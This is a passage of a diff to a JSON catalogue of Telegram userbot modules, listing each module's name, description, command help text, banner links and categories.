"cskeleton": { + "ru_doc": null, + "en_doc": null, + "doc": "This will open the config for the module." + } + }, + { + "skeleton": { + "ru_doc": null, + "en_doc": null, + "doc": "This is a skeleton command." + } + }, + { + "skeletoargs": { + "ru_doc": null, + "en_doc": null, + "doc": "This is a skeleton command with args." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "anon97945/hikka-mods/gtranslate.py": { + "name": "ApodiktumGTranslateMod", + "description": "Google Translator", + "meta": { + "pic": "https://t.me/apodiktum_dumpster/13", + "banner": "https://t.me/apodiktum_dumpster/11", + "developer": "@apodiktum_modules" + }, + "commands": [ + { + "cgtranslatecmd": "This will open the config for the module." + }, + { + "gtranslatecmd": ".gtranslate [from_lang->][->to_lang] <text>" + } + ], + "new_commands": [ + { + "cgtranslate": { + "ru_doc": null, + "en_doc": null, + "doc": "This will open the config for the module." + } + }, + { + "gtranslate": { + "ru_doc": null, + "en_doc": null, + "doc": ".gtranslate [from_lang->][->to_lang] <text>" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "anon97945/hikka-mods/voicetools.py": { + "name": "ApodiktumVoiceToolsMod", + "description": "Change, pitch, enhance your Voice. Also includes optional automatic modes.", + "meta": { + "pic": "https://t.me/apodiktum_dumpster/13", + "banner": "https://t.me/apodiktum_dumpster/11", + "developer": "@apodiktum_modules" + }, + "commands": [ + { + "cvoicetoolscmd": "This will open the config for the module." + }, + { + "vtdalekcmd": "reply to a file to change the voice" + }, + { + "vtanoncmd": "reply to a file to change the voice into anonymous" + }, + { + "vtpitchcmd": "reply to a file to pitch voice\n- Example: .vtpitch 12\n Possible values between -18 and 18" + }, + { + "vtspeedcmd": "reply to a file to increase speed and reduce length\n- Example: .vtspeed 1.5\n Possible values between 0.25 - 3" + }, + { + "vtgaincmd": "reply to a file to change the volume\n- Example: .vtgain 1\n Possible values between -10 - 10" + }, + { + "vtenhcmd": "reply to a file to enhance voice quality with\n- Volume normalize\n- Background NoiseReduce (set your noisereduce level before)" + }, + { + "vtnormcmd": "reply to a file to normalize volume" + }, + { + "vtmp3cmd": "reply to a file to convert it to mp3" + }, + { + "vtspeechcmd": "reply to a file to convert it to speech" + }, + { + "vtautodalekcmd": "Turns on AutoDalekVoice for your own Voicemessages in the chat" + }, + { + "vtautoanoncmd": "Turns on AutoAnonVoice for your own Voicemessages in the chat" + }, + { + "vtautonrcmd": "Turns on AutoNoiseReduce for your own Voicemessages in the chat" + }, + { + "vtautonormcmd": "Turns on AutoVoiceNormalizer for your own Voicemessages in the chat" + }, + { + "vtautospeedcmd": "Turns on AutoSpeed for your own Voicemessages in the chat" + }, + { + "vtautopitchcmd": "Turns on AutoVoiceNormalizer for your own Voicemessages in the chat" + }, + { + "vtautogaincmd": "Turns on AutoVolumeGain for your own Voicemessages in the chat" + }, + { + "vtautocmd": "Displays all enabled AutoVoice settings in the chat" + }, + { + "vtautostopcmd": "Turns off AutoVoice for your own Voicemessages in the chat" + } + ], + "new_commands": [ + { + "cvoicetools": { + "ru_doc": null, + "en_doc": null, + "doc": "This will open the config for the module." + } + }, + { + "vtdalek": { + "ru_doc": null, + "en_doc": null, + "doc": "reply to a file to change the voice" + } + }, + { + "vtanon": { + "ru_doc": null, + "en_doc": null, + "doc": "reply to a file to change the voice into anonymous" + } + }, + { + "vtpitch": { + "ru_doc": null, + "en_doc": null, + "doc": "reply to a file to pitch voice\n- Example: .vtpitch 12\n Possible values between -18 and 18" + } + }, + { + "vtspeed": { + "ru_doc": null, + "en_doc": null, + "doc": "reply to a file to increase speed and reduce length\n- Example: .vtspeed 1.5\n Possible values between 0.25 - 3" + } + }, + { + "vtgain": { + "ru_doc": null, + "en_doc": null, + "doc": "reply to a file to change the volume\n- Example: .vtgain 1\n Possible values between -10 - 10" + } + }, + { + "vtenh": { + "ru_doc": null, + "en_doc": null, + "doc": "reply to a file to enhance voice quality with\n- Volume normalize\n- Background NoiseReduce (set your noisereduce level before)" + } + }, + { + "vtnorm": { + "ru_doc": null, + "en_doc": null, + "doc": "reply to a file to normalize volume" + } + }, + { + "vtmp3": { + "ru_doc": null, + "en_doc": null, + "doc": "reply to a file to convert it to mp3" + } + }, + { + "vtspeech": { + "ru_doc": null, + "en_doc": null, + "doc": "reply to a file to convert it to speech" + } + }, + { + "vtautodalek": { + "ru_doc": null, + "en_doc": null, + "doc": "Turns on AutoDalekVoice for your own Voicemessages in the chat" + } + }, + { + "vtautoanon": { + "ru_doc": null, + "en_doc": null, + "doc": "Turns on AutoAnonVoice for your own Voicemessages in the chat" + } + }, + { + "vtautonr": { + "ru_doc": null, + "en_doc": null, + "doc": "Turns on AutoNoiseReduce for your own Voicemessages in the chat" + } + }, + { + "vtautonorm": { + "ru_doc": null, + "en_doc": null, + "doc": "Turns on AutoVoiceNormalizer for your own Voicemessages in the chat" + } + }, + { + "vtautospeed": { + "ru_doc": null, + "en_doc": null, + "doc": "Turns on AutoSpeed for your own Voicemessages in the chat" + } + }, + { + "vtautopitch": { + "ru_doc": null, + "en_doc": null, + "doc": "Turns on AutoVoiceNormalizer for your own Voicemessages in the chat" + } + }, + { + "vtautogain": { + "ru_doc": null, + "en_doc": null, + "doc": "Turns on AutoVolumeGain for your own Voicemessages in the chat" + } + }, + { + "vtauto": { + "ru_doc": null, + "en_doc": null, + "doc": "Displays all enabled AutoVoice settings in the chat" + } + }, + { + "vtautostop": { + "ru_doc": null, + "en_doc": null, + "doc": "Turns off AutoVoice for your own Voicemessages in the chat" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "anon97945/hikka-mods/pypng.py": { + "name": "ApodiktumPyPNGMod", + "description": "Converts link/file from Py to PNG.", + "meta": { + "pic": "https://t.me/apodiktum_dumpster/13", + "banner": "https://t.me/apodiktum_dumpster/11", + "developer": "@apodiktum_modules" + }, + "commands": [ + { + "pypngcmd": "url/(reply to url or py file)" + } + ], + "new_commands": [ + { + "pypng": { + "ru_doc": null, + "en_doc": null, + "doc": "url/(reply to url or py file)" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "anon97945/hikka-mods/mark_read.py": { + "name": "ApodiktumMarkReadMod", + "description": "This module marks chats as read.", + "meta": { + "pic": "https://t.me/apodiktum_dumpster/13", + "banner": "https://t.me/apodiktum_dumpster/11", + "developer": "@apodiktum_modules" + }, + "commands": [ + { + "cmarkreadcmd": "This will open the config for the module." + } + ], + "new_commands": [ + { + "cmarkread": { + "ru_doc": null, + "en_doc": null, + "doc": "This will open the config for the module." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "anon97945/hikka-mods/autoreact.py": { + "name": "ApodiktumAutoReactMod", + "description": "AutoReact to messages.\nCheck the `.config apodiktum autoreact`", + "meta": { + "pic": "https://t.me/apodiktum_dumpster/13", + "banner": "https://t.me/apodiktum_dumpster/11", + "developer": "@apodiktum_modules" + }, + "commands": [ + { + "cautoreactcmd": "This will open the config for the module." + } + ], + "new_commands": [ + { + "cautoreact": { + "ru_doc": null, + "en_doc": null, + "doc": "This will open the config for the module." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "anon97945/hikka-mods/apoinfo.py": { + "name": "ApodiktumInfoMod", + "description": "Show userbot info", + "meta": { + "pic": "https://t.me/apodiktum_dumpster/13", + "banner": "https://t.me/apodiktum_dumpster/11", + "developer": "@apodiktum_modules" + }, + "commands": [ + { + "capoinfocmd": "This will open the config for the module." + }, + { + "apoinfocmd": "Send userbot info" + } + ], + "new_commands": [ + { + "capoinfo": { + "ru_doc": null, + "en_doc": null, + "doc": "This will open the config for the module." + } + }, + { + "apoinfo": { + "ru_doc": null, + "en_doc": null, + "doc": "Send userbot info" + } + } + ], + "category": [ + "Tools", + "Admin" + ] + }, + "anon97945/hikka-mods/quotes.py": { + "name": "ApodiktumQuotesMod", + "description": "Quote a message using Mishase Quotes API", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "cquotescmd": "This will open the config for the module." + }, + { + "quotecmd": "Quote a message. Args: .<count> .file" + }, + { + "fquotecmd": "Fake message quote. Args: @<username>/<id>/<reply> <text>" + } + ], + "new_commands": [ + { + "cquotes": { + "ru_doc": null, + "en_doc": null, + "doc": "This will open the config for the module." + } + }, + { + "quote": { + "ru_doc": null, + "en_doc": null, + "doc": "Quote a message. Args: .<count> .file" + } + }, + { + "fquote": { + "ru_doc": null, + "en_doc": null, + "doc": "Fake message quote. Args: @<username>/<id>/<reply> <text>" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "anon97945/hikka-mods/no_ttl.py": { + "name": "NoTTLMod", + "description": "Send messages without TTL.", + "meta": { + "pic": "https://t.me/apodiktum_dumpster/13", + "banner": "https://t.me/apodiktum_dumpster/11", + "developer": "@apodiktum_modules" + }, + "commands": [ + { + "cnottlcmd": "This will open the config for the module." + }, + { + "nottlcmd": "Command to send a message without TTL." + } + ], + "new_commands": [ + { + "cnottl": { + "ru_doc": null, + "en_doc": null, + "doc": "This will open the config for the module." + } + }, + { + "nottl": { + "ru_doc": null, + "en_doc": null, + "doc": "Command to send a message without TTL." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "anon97945/hikka-mods/auto_update.py": { + "name": "ApodiktumAutoUpdateMod", + "description": "Automatically update your Hikka Userbot", + "meta": { + "pic": "https://t.me/apodiktum_dumpster/13", + "banner": "https://t.me/apodiktum_dumpster/11", + "developer": "@apodiktum_modules" + }, + "commands": [ + { + "cautoupdatecmd": "This will open the config for the module." + } + ], + "new_commands": [ + { + "cautoupdate": { + "ru_doc": null, + "en_doc": null, + "doc": "This will open the config for the module." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "anon97945/hikka-mods/heroku.py": { + "name": "ApodiktumHerokuManagerMod", + "description": "Show Remaining Dyno Usage And Manage The Settings Of Your 🦸🏼‍♂️ Hero!ku Hikka Instance.", + "meta": { + "pic": "https://t.me/apodiktum_dumpster/13", + "banner": "https://t.me/apodiktum_dumpster/11", + "developer": "@apodiktum_modules" + }, + "commands": [ + { + "herousagecmd": "Get Heroku Dyno Usage." + }, + { + "herosetcmd": "Set Heroku Settings Variable.\n- Example: .heroset <variable> <some settings>" + }, + { + "herogetcmd": "Get Heroku Settings Variable.\n- Example: .heroget <variable>" + }, + { + "herogetallcmd": "Get All Heroku Settings Variable. This may leak API!\n- Example: .herogetall --force" + }, + { + "herodelcmd": "Delete Heroku Settings Variable.\n- Example: .herodel <variable>" + } + ], + "new_commands": [ + { + "herousage": { + "ru_doc": null, + "en_doc": null, + "doc": "Get Heroku Dyno Usage." + } + }, + { + "heroset": { + "ru_doc": null, + "en_doc": null, + "doc": "Set Heroku Settings Variable.\n- Example: .heroset <variable> <some settings>" + } + }, + { + "heroget": { + "ru_doc": null, + "en_doc": null, + "doc": "Get Heroku Settings Variable.\n- Example: .heroget <variable>" + } + }, + { + "herogetall": { + "ru_doc": null, + "en_doc": null, + "doc": "Get All Heroku Settings Variable. This may leak API!\n- Example: .herogetall --force" + } + }, + { + "herodel": { + "ru_doc": null, + "en_doc": null, + "doc": "Delete Heroku Settings Variable.\n- Example: .herodel <variable>" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "kamolgks/Hikkamods/BotsDeleter.py": { + "name": "BotsDeleterMod", + "description": "Instant stop or removal of all running Telegram bots", + "meta": { + "pic": "https://github.com/kamolgks/assets/raw/main/BotsDeleter.png", + "banner": null, + "developer": "@shitmodules" + }, + "commands": [ + { + "stopallbotscmd": "> To stop all bots from working > Чтобы остановить работу всех ботов" + }, + { + "delallbotscmd": "> To delete dialogs with all bots > Чтобы удалить диалоги со всеми ботами" + } + ], + "new_commands": [ + { + "stopallbots": { + "ru_doc": "> Чтобы остановить работу всех ботов", + "en_doc": null, + "doc": "> To stop all bots from working" + } + }, + { + "delallbots": { + "ru_doc": "> Чтобы удалить диалоги со всеми ботами", + "en_doc": null, + "doc": "> To delete dialogs with all bots" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "kamolgks/Hikkamods/UsernameChecker.py": { + "name": "UsernameChecker", + "description": "Validates a username and checks availability.\n\nAccepted characters: A-z (case-insensitive), 0-9 and underscores.\nLength: 5-32 characters.", + "meta": { + "pic": null, + "banner": "https://raw.githubusercontent.com/kamolgks/assets/main/UsernameChecker.jpg", + "developer": "@shitmodules" + }, + "commands": [ + { + "ucheck": "> Enter the user for verification > Введите юзер для проверки." + } + ], + "new_commands": [ + { + "ucheck": { + "ru_doc": "> Введите юзер для проверки.", + "en_doc": null, + "doc": "> Enter the user for verification" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "kamolgks/Hikkamods/IndividualLinks.py": { + "name": "IndividualLinks", + "description": "> Links to individual content in telegram.", + "meta": { + "pic": "https://raw.githubusercontent.com/kamolgks/assets/main/IndividualLinks.jpg", + "banner": "https://te.legra.ph/file/b15eed35d5ec0dd3a4716.jpg", + "developer": "@shitmodules" + }, + "commands": [ + { + "indlinks": "Just send .indlinks" + } + ], + "new_commands": [ + { + "indlinks": { + "ru_doc": null, + "en_doc": null, + "doc": "Just send .indlinks" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "kamolgks/Hikkamods/FarmPA.py": { + "name": "FarmPAMod", + "description": "Module for automatic farming sm in Pipisa bot | PA -> PipisaBot by shitmodules.t.me", + "meta": { + "pic": "https://raw.githubusercontent.com/kamolgks/assets/main/FarmPA.jpg", + "banner": "https://raw.githubusercontent.com/kamolgks/assets/main/FarmPA.jpeg", + "developer": "@shitmodules" + }, + "commands": [ + { + "dfarm": "Turns on/off automatic farming mode for the Pipisa bot. Включить/отключить режим автоматического фарма для бота Pipisa." + }, + { + "chatidcmd": "The .chatid command shows the chat ID. Команда .chatid показывает идентификатор чата." + } + ], + "new_commands": [ + { + "dfarm": { + "ru_doc": "Включить/отключить режим автоматического фарма для бота Pipisa.", + "en_doc": null, + "doc": "Turns on/off automatic farming mode for the Pipisa bot." + } + }, + { + "chatid": { + "ru_doc": "Команда .chatid показывает идентификатор чата.", + "en_doc": null, + "doc": "The .chatid command shows the chat ID." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "kamolgks/Hikkamods/GamesForAndroid.py": { + "name": "GamesForAndroid", + "description": "Hacked android games (All in categories, choose what you like and download.)", + "meta": { + "pic": "https://raw.githubusercontent.com/kamolgks/assets/main/GamesForAndroid.jpeg", + "banner": "https://raw.githubusercontent.com/kamolgks/assets/main/GamesForAndroid.jpg", + "developer": "@shitmodules" + }, + "commands": [ + { + "gameslist": "> .gameslist opens access to game categories (you can download games right here) .gameslist > открывает доступ к игровым категориям (можно скачивать игры прямо тут)" + } + ], + "new_commands": [ + { + "gameslist": { + "ru_doc": ".gameslist > открывает доступ к игровым категориям (можно скачивать игры прямо тут)", + "en_doc": null, + "doc": "> .gameslist opens access to game categories (you can download games right here)" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "kamolgks/Hikkamods/AnecdoteGenerator.py": { + "name": "AnecdoteGeneratorMod", + "description": "Anecdote generator by @shitmodules", + "meta": { + "pic": null, + "banner": "https://raw.githubusercontent.com/kamolgks/assets/main/AnecdoteGenerator.jpg", + "developer": "@shitmodules" + }, + "commands": [ + { + "anec": "Sends an anecdote (not always funny) Генерирует анекдоты (они не всегда смешные)" + }, + { + "joke": "Sends an anecdote x2 (not always funny)" + } + ], + "new_commands": [ + { + "anec": { + "ru_doc": "Генерирует анекдоты (они не всегда смешные)", + "en_doc": null, + "doc": "Sends an anecdote (not always funny)" + } + }, + { + "joke": { + "ru_doc": null, + "en_doc": null, + "doc": "Sends an anecdote x2 (not always funny)" + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "kamolgks/Hikkamods/Holiday.py": { + "name": "Holiday", + "description": "The module checks whether today is a holiday in your region.", + "meta": { + "pic": "https://raw.githubusercontent.com/kamolgks/assets/main/Holiday.png", + "banner": "https://raw.githubusercontent.com/kamolgks/assets/main/Holiday.jpg", + "developer": "@shitmodules" + }, + "commands": [ + { + "holidaycmd": "> Checks if today is a holiday. > Проверяет, является ли сегодняшний день праздником." + } + ], + "new_commands": [ + { + "holiday": { + "ru_doc": "> Проверяет, является ли сегодняшний день праздником.", + "en_doc": null, + "doc": "> Checks if today is a holiday." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "kamolgks/Hikkamods/Hw_age_ur.py": { + "name": "Hw_age_ur", + "description": "Using this module, you can find out the age of a person on the date of his birth.", + "meta": { + "pic": "https://raw.githubusercontent.com/kamolgks/assets/main/Hw_age_ur.png", + "banner": "https://raw.githubusercontent.com/kamolgks/assets/main/Hw_age_ur.jpg", + "developer": "@shitmodules" + }, + "commands": [ + { + "yo": "> .yo 01.05.1996 | => date, month, year > .yo 01.05.1996 | => (число, месяц, год)" + } + ], + "new_commands": [ + { + "yo": { + "ru_doc": "> .yo 01.05.1996 | => (число, месяц, год)", + "en_doc": null, + "doc": "> .yo 01.05.1996 | => date, month, year" + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "kamolgks/Hikkamods/SpellChecking.py": { + "name": "SpellCheckingMod", + "description": "Check text for spelling errors by @shitmodules", + "meta": { + "pic": "https://raw.githubusercontent.com/kamolgks/assets/main/SpellChecking.png", + "banner": "https://raw.githubusercontent.com/kamolgks/assets/main/SpellChecking.jpg", + "developer": "@shitmodules" + }, + "commands": [ + { + "orfgcmd": "> Suggestion for checking spelling errors > Проверяет текст на орфографические ошибки." + } + ], + "new_commands": [ + { + "orfg": { + "ru_doc": "> Проверяет текст на орфографические ошибки.", + "en_doc": null, + "doc": "> Suggestion for checking spelling errors" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "kamolgks/Hikkamods/MultiSaver.py": { + "name": "MultiSaverMod", + "description": "Download video, photo from instagram, TikTok and Pinterest", + "meta": { + "pic": "https://te.legra.ph/file/9fbbf3676de7a1e844e56.jpg", + "banner": "https://raw.githubusercontent.com/kamolgks/assets/main/MultiSaver.jpg", + "developer": "@shitmodules" + }, + "commands": [ + { + "imt": "> photo/video link > Ссылка на фото/видео" + } + ], + "new_commands": [ + { + "imt": { + "ru_doc": "> Ссылка на фото/видео", + "en_doc": null, + "doc": "> photo/video link" + } + } + ], + "category": [ + "Media", + "Tools" + ] + }, + "kamolgks/Hikkamods/RandomChats.py": { + "name": "RandomChatsMod", + "description": "The module throws off a random chat", + "meta": { + "pic": "https://raw.githubusercontent.com/kamolgks/assets/main/RandomChats.jpg", + "banner": "https://raw.githubusercontent.com/kamolgks/assets/main/RandomChats.jpg", + "developer": "@shitmodules" + }, + "commands": [ + { + "rchatcmd": "> Throws a random link to the chat > Кидает рандомную ссылку на чат" + } + ], + "new_commands": [ + { + "rchat": { + "ru_doc": "> Кидает рандомную ссылку на чат", + "en_doc": null, + "doc": "> Throws a random link to the chat" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "kamolgks/Hikkamods/Facts.py": { + "name": "Facts", + "description": "interesting facts by @shitmodules", + "meta": { + "pic": "https://raw.githubusercontent.com/kamolgks/assets/main/Facts.jpeg", + "banner": "https://raw.githubusercontent.com/kamolgks/assets/main/Facts.jpg", + "developer": "@shitmodules" + }, + "commands": [ + { + "ifacts": "> I'll look for some interesting information for you) > Поищу для тебя какую нибудь интересную информацию)" + } + ], + "new_commands": [ + { + "ifacts": { + "ru_doc": "> Поищу для тебя какую нибудь интересную информацию)", + "en_doc": null, + "doc": "> I'll look for some interesting information for you)" + } + } + ], + "category": [ + "Tools", + "Games" + ] + }, + "kamolgks/Hikkamods/Imgbb.py": { + "name": "Imgbb", + "description": "Upload media to imgbb.com", + "meta": { + "pic": "https://raw.githubusercontent.com/kamolgks/assets/main/Imgbb.jpg", + "banner": "https://raw.githubusercontent.com/kamolgks/assets/main/Imgbb.jpeg", + "developer": "@shitmodules" + }, + "commands": [ + { + "imgbb": ".imgbb - upload file to imgbb.com .imgbb <файл> - загрузить файл на imgbb.com" + } + ], + "new_commands": [ + { + "imgbb": { + "ru_doc": ".imgbb <файл> - загрузить файл на imgbb.com", + "en_doc": null, + "doc": ".imgbb - upload file to imgbb.com" + } + } + ], + "category": [ + "Chat", + "Security" + ] + }, + "kamolgks/Hikkamods/AnonymUploader.py": { + "name": "AnonymUploader", + "description": "Anonymous files upload via anonfiles.com", + "meta": { + "pic": "https://raw.githubusercontent.com/kamolgks/assets/main/AnonUploader.jpg", + "banner": "https://raw.githubusercontent.com/kamolgks/assets/main/AnonymUploader.jpg", + "developer": "@shitmodules" + }, + "commands": [ + { + "auplcmd": "> <reply to file> - Anonymous file Uploader" + } + ], + "new_commands": [ + { + "aupl": { + "ru_doc": null, + "en_doc": null, + "doc": "> <reply to file> - Anonymous file Uploader" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "dorotorothequickend/DorotoroModules/RandomHuman.py": { + "name": "RandomHuman", + "description": "Отправляет рандомное имя, фамилию, дату рождения, email, пароль и телефон.", + "meta": { + "pic": null, + "banner": "https://raw.githubusercontent.com/dorotorothequickend/DorotoroModules/main/banners/DorotoroGenerateHuman.png", + "developer": "@DorotoroMods" + }, + "commands": [ + { + "generatehumancmd": "- сгенерировать человека." + }, + { + "generatepasscmd": "- сгенерировать паспорт." + }, + { + "generateschlcmd": "- сгенерировать инф-цию об образовании." + }, + { + "generatedocscmd": "- сгенерировать документы." + }, + { + "generateauto": "- сгенерировать инф-цию об авто." + }, + { + "generatebank": "- сгенерировать платежную инф-цию." + } + ], + "new_commands": [ + { + "generatehuman": { + "ru_doc": null, + "en_doc": null, + "doc": "- сгенерировать человека." + } + }, + { + "generatepass": { + "ru_doc": null, + "en_doc": null, + "doc": "- сгенерировать паспорт." + } + }, + { + "generateschl": { + "ru_doc": null, + "en_doc": null, + "doc": "- сгенерировать инф-цию об образовании." + } + }, + { + "generatedocs": { + "ru_doc": null, + "en_doc": null, + "doc": "- сгенерировать документы." + } + }, + { + "generateauto": { + "ru_doc": null, + "en_doc": null, + "doc": "- сгенерировать инф-цию об авто." + } + }, + { + "generatebank": { + "ru_doc": null, + "en_doc": null, + "doc": "- сгенерировать платежную инф-цию." + } + } + ], + "category": [ + "Tools", + "Social" + ] + }, + "dorotorothequickend/DorotoroModules/AutoEdit.py": { + "name": "AutoEdit", + "description": "Редактирует каждое ваше сообщение в определенное время на выбранный вами текст.\nНастройка через .config AutoEdit", + "meta": { + "pic": null, + "banner": "https://raw.githubusercontent.com/dorotorothequickend/DorotoroModules/main/banners/DorotoroAutoEdit.png", + "developer": "@DorotoroMods" + }, + "commands": [ + { + "autoedit": "- включить/выключить AutoEdit." + } + ], + "new_commands": [ + { + "autoedit": { + "ru_doc": null, + "en_doc": null, + "doc": "- включить/выключить AutoEdit." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "dorotorothequickend/DorotoroModules/PasswordGenerator.py": { + "name": "passwordgeneratormod", + "description": "Ваш персональный генератор паролей.", + "meta": { + "pic": null, + "banner": "https://raw.githubusercontent.com/dorotorothequickend/DorotoroModules/main/banners/DorotoroPasswordGenerator.png", + "developer": "@DorotoroMods" + }, + "commands": [ + { + "gnrtpass": "<кол-во символов> - генерировать пароль" + } + ], + "new_commands": [ + { + "gnrtpass": { + "ru_doc": null, + "en_doc": null, + "doc": "<кол-во символов> - генерировать пароль" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "dorotorothequickend/DorotoroModules/FkinRickRoll.py": { + "name": "FuckingRickRoll", + "description": "Лучший способ зарикроллить собеседника.", + "meta": { + "pic": null, + "banner": "https://raw.githubusercontent.com/dorotorothequickend/DorotoroModules/main/banners/DorotoroFkinRickRoll.png", + "developer": "@DorotoroMods" + }, + "commands": [ + { + "rickvid": "- стандартный RickRoll." + }, + { + "rickbait": "- отправляет видео с океаном, в конце которого вашего собеседника ждет RickRoll." + } + ], + "new_commands": [ + { + "rickvid": { + "ru_doc": null, + "en_doc": null, + "doc": "- стандартный RickRoll." + } + }, + { + "rickbait": { + "ru_doc": null, + "en_doc": null, + "doc": "- отправляет видео с океаном, в конце которого вашего собеседника ждет RickRoll." + } + } + ], + "category": [ + "Tools", + "Media" + ] + }, + "dorotorothequickend/DorotoroModules/EMJviaTEXT.py": { + "name": "EMJviaTEXT", + "description": "[ONLY FOR TG PREMIUM]\nЭтот модуль создан чтобы не рыскать миллиарды стикерпаков. \nПример использования:\nПривет BloodTrail", + "meta": { + "pic": null, + "banner": "https://raw.githubusercontent.com/dorotorothequickend/DorotoroModules/main/banners/DorotoroEMJviaTEXT.png", + "developer": "@DorotoroMods" + }, + "commands": [ + { + "emjviatext": "- включить/выключить автозамену текста на эмодзи." + }, + { + "emjlist": "- список эмодзи." + } + ], + "new_commands": [ + { + "emjviatext": { + "ru_doc": null, + "en_doc": null, + "doc": "- включить/выключить автозамену текста на эмодзи." + } + }, + { + "emjlist": { + "ru_doc": null, + "en_doc": null, + "doc": "- список эмодзи." + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "dorotorothequickend/DorotoroModules/AccountDeleter.py": { + "name": "AccountDeleter", + "description": null, + "meta": { + "pic": null, + "banner": "https://raw.githubusercontent.com/dorotorothequickend/DorotoroModules/main/banners/DorotoroAccountDeleter.png", + "developer": "@DorotoroMods" + }, + "commands": [ + { + "delacc": "- удаляет ваш аккаунт (просто меняет вашу аватарку и ник)." + } + ], + "new_commands": [ + { + "delacc": { + "ru_doc": null, + "en_doc": null, + "doc": "- удаляет ваш аккаунт (просто меняет вашу аватарку и ник)." + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "dorotorothequickend/DorotoroModules/LessonHelper.py": { + "name": "LessonHelper", + "description": "Ваш личный репетитор!", + "meta": { + "pic": null, + "banner": "https://raw.githubusercontent.com/dorotorothequickend/DorotoroModules/main/banners/DorotoroLessonHelper.png", + "developer": "@DorotoroMods" + }, + "commands": [ + { + "mathformcmd": "<формула/list> - базовые формулы по алгебре и геометрии.\n\nЧтобы посмотреть список формул и теорем введите:\n.mathform list" + }, + { + "physformcmd": "<формула/list> - базовые формулы по физике.\n\nЧтобы посмотреть список формул и теорем введите:\n.physform list" + }, + { + "rusformcmd": "<орфограмма/правило/list> - базовые правила и орфограммы по русскому языку. Будет пополняться.\n\nЧтобы узнать список доступных правил и орфограмм, введите:\n.rusform list" + } + ], + "new_commands": [ + { + "mathform": { + "ru_doc": null, + "en_doc": null, + "doc": "<формула/list> - базовые формулы по алгебре и геометрии.\n\nЧтобы посмотреть список формул и теорем введите:\n.mathform list" + } + }, + { + "physform": { + "ru_doc": null, + "en_doc": null, + "doc": "<формула/list> - базовые формулы по физике.\n\nЧтобы посмотреть список формул и теорем введите:\n.physform list" + } + }, + { + "rusform": { + "ru_doc": null, + "en_doc": null, + "doc": "<орфограмма/правило/list> - базовые правила и орфограммы по русскому языку. Будет пополняться.\n\nЧтобы узнать список доступных правил и орфограмм, введите:\n.rusform list" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "dorotorothequickend/DorotoroModules/RandomJumoreska.py": { + "name": "RandomJumoreska", + "description": "Отправляет случайную юмореску.", + "meta": { + "pic": null, + "banner": "https://raw.githubusercontent.com/dorotorothequickend/DorotoroModules/main/banners/DorotoroRandomJumoreska.png", + "developer": "@DorotoroMods" + }, + "commands": [ + { + "rndmjumoreska": "- выдать рандомную юмореску." + } + ], + "new_commands": [ + { + "rndmjumoreska": { + "ru_doc": null, + "en_doc": null, + "doc": "- выдать рандомную юмореску." + } + } + ], + "category": [ + "Fun", + "Tools" + ] + }, "dorotorothequickend/DorotoroModules/DoYouKnowAlphabet.py": { "name": "Alphabet", "description": "Special for Kids.", @@ -2079,6 +14980,33 @@ "Chat" ] }, + "dorotorothequickend/DorotoroModules/CringePhrases.py": { + "name": "CringePhrases", + "description": "Отправляет случайную мега-кринж фразу.", + "meta": { + "pic": null, + "banner": "https://raw.githubusercontent.com/dorotorothequickend/DorotoroModules/main/banners/DorotoroCringePhrases.png", + "developer": "@DorotoroMods" + }, + "commands": [ + { + "cringephrase": "- фраза, от которой ваш собеседник будет испытывать мега-супер-пупер кринж." + } + ], + "new_commands": [ + { + "cringephrase": { + "ru_doc": null, + "en_doc": null, + "doc": "- фраза, от которой ваш собеседник будет испытывать мега-супер-пупер кринж." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, "dorotorothequickend/DorotoroModules/Dota2RandomHero.py": { "name": "Dota2RandomHero", "description": null, @@ -2136,124 +15064,6 @@ "Tools" ] }, - "dorotorothequickend/DorotoroModules/CheckSpamBan.py": { - "name": "SpamBanCheckMod", - "description": "Check spam ban for your account.", - "meta": { - "pic": null, - "banner": "https://raw.githubusercontent.com/dorotorothequickend/DorotoroModules/main/banners/DorotoroCheckSpamBan.png", - "developer": "@DorotoroMods & @AstroModules" - }, - "commands": [ - { - "spamban": "- проверяет ваш аккаунт на наличие спам-бана через бота @SpamBot." - } - ], - "new_commands": [ - { - "spamban": { - "ru_doc": null, - "en_doc": null, - "doc": "- проверяет ваш аккаунт на наличие спам-бана через бота @SpamBot." - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "dorotorothequickend/DorotoroModules/ExcuseGenerator.py": { - "name": "ExcuseGeneratorMod", - "description": "Ваш преданный помощник!", - "meta": { - "pic": null, - "banner": "https://raw.githubusercontent.com/dorotorothequickend/DorotoroModules/main/banners/DorotoroExcuseGenerator.png", - "developer": "@DorotoroMods" - }, - "commands": [ - { - "excuse": "<имя> - генерирует отмазку." - } - ], - "new_commands": [ - { - "excuse": { - "ru_doc": null, - "en_doc": null, - "doc": "<имя> - генерирует отмазку." - } - } - ], - "category": [ - "Fun", - "Social" - ] - }, - "dorotorothequickend/DorotoroModules/EMJviaTEXT.py": { - "name": "EMJviaTEXT", - "description": "[ONLY 